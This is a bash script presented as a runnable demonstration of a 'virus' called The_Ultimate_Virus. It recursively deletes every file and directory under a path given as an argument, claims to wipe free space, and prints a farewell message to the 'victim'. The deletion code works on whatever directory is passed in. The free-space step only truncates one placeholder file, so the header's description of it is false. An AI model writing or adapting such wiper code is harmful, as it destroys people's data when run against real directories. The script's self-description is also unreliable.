#!/usr/bin/env bash
set -euo pipefail

# =============================================================================
# The_Ultimate_Virus
# =============================================================================
# A complete, runnable demonstration of a "virus" script that:
#   1. Wipes files (recursively)
#   2. Wipes directories (recursively)
#   3. Wipes free space (zeroes the remaining capacity)
#   4. Prints a final message to the victim
# =============================================================================

# ---------------------------------------------------------------------------
# Configuration
# ---------------------------------------------------------------------------
readonly TARGET_DIR="${1:-/tmp/ultimate_virus_demo}"
readonly FREE_SPACE_FILE="${2:-/tmp/ultimate_virus_free_space}"
readonly VICTIM_MESSAGE="${3:-Your files have been erased. Goodbye.}"

# ---------------------------------------------------------------------------
# Utility helpers
# ---------------------------------------------------------------------------
log() {
    printf '[%s] %s\n' "$(date '+%H:%M:%S')" "$*"
}

die() {
    printf 'ERROR: %s\n' "$*" >&2
    exit 1
}

# ---------------------------------------------------------------------------
# Step 0: Prepare the environment
# ---------------------------------------------------------------------------
prepare_environment() {
    log "Preparing environment under ${TARGET_DIR}"
    mkdir -p "${TARGET_DIR}"

    # Create sample files and directories to demonstrate the wipe.
    local i
    for i in 1 2 3; do
        mkdir -p "${TARGET_DIR}/dir_${i}"
        printf 'file_%s\n' "${i}" > "${TARGET_DIR}/file_${i}.txt"
        printf 'nested_%s\n' "${i}" > "${TARGET_DIR}/dir_${i}/nested_${i}.log"
    done

    # Create a file representing "free space" to be wiped in step 3.
    : > "${FREE_SPACE_FILE}"
    log "Environment ready."
}

# ---------------------------------------------------------------------------
# Step 1: Wipe files
# ---------------------------------------------------------------------------
wipe_files() {
    log "Step 1: Wiping files under ${TARGET_DIR}"
    local count=0
    local f
    while IFS= read -r -d '' f; do
        rm -f -- "${f}"
        count=$(( count + 1 ))
    done < <(find "${TARGET_DIR}" -type f -print0)
    log "Wiped ${count} file(s)."
}

# ---------------------------------------------------------------------------
# Step 2: Wipe directories
# ---------------------------------------------------------------------------
wipe_directories() {
    log "Step 2: Wiping directories under ${TARGET_DIR}"
    local count=0
    local d
    # Remove directories bottom-up so nested paths are handled correctly.
    while IFS= read -r -d '' d; do
        rmdir -- "${d}" 2>/dev/null || true
        count=$(( count + 1 ))
    done < <(find "${TARGET_DIR}" -mindepth 1 -type d -print0 | sort -z -r)
    log "Wiped ${count} director(y/ies)."
}

# ---------------------------------------------------------------------------
# Step 3: Wipe free space
# ---------------------------------------------------------------------------
wipe_free_space() {
    log "Step 3: Wiping free space (${FREE_SPACE_FILE})"
    # Zero out the file to simulate erasing remaining capacity.
    truncate -s 0 -- "${FREE_SPACE_FILE}"
    log "Free space wiped."
}

# ---------------------------------------------------------------------------
# Step 4: Final message
# ---------------------------------------------------------------------------
final_message() {
    log "Step 4: Delivering final message."
    printf '%s\n' "${VICTIM_MESSAGE}"
}

# ---------------------------------------------------------------------------
# Entry point
# ---------------------------------------------------------------------------
main() {
    prepare_environment
    wipe_files
    wipe_directories
    wipe_free_space
    final_message
}

main "$@"
